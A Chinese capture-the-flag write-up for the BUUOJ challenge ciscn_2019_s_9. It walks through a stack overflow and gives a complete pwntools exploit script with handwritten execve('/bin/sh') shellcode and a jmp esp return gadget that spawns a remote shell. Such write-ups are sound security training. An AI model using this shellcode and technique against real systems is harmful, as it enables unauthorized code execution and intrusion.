Shellcode 栈溢出

https://buuoj.cn/challenges#ciscn_2019_s_9

首先checksec一下,看一下大概内容:

IDA打开之后,发现有一个后门函数hint,逻辑如下:

使用此函数的时候,执行esp里面的内容(使用了jmp),我们不需要这些上面什么乱七八糟的东西,我们只需要.text里面的0x08048554的jmp esp就行了。先记下来这是我们可以利用的漏洞。

然后这里是程序唯一一个输入口,也就是说大概率这里有漏洞: 他首先可以让我输入32h的内容,不过通过伪C代码(其实汇编也能看到),这个字符串的长度只有24。也就是说可以构造栈溢出,这个就很简单了。那么我现在构造含有shellcode这样的一个payload:

所以说,大概代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import*
context(log_level = 'debug', arch = 'i386', os = 'linux')
p = remote('node5.buuoj.cn',29162)
# p = process("./ciscn_s_9")
#shellcode = asm(shellcraft.sh())
shellcode_handmade = asm("""
xor eax,eax
push 0x0068732f
push 0x6e69622f
mov ebx, esp
mov al, 0xb
int 0x80
""")
jmp_esp_addr = 0x8048554
shell = asm('''
sub esp,0x28
call esp
''')
payload = shellcode_handmade.ljust(32+4,b'a') + p32(jmp_esp_addr) + shell
print(payload)
p.sendafter(b'tell?\n',payload)
p.interactive()

如果直接用shellcraft.sh()的话,生成出来的shellcode就太大了,会超过程序给我们的栈可用长度(38字节)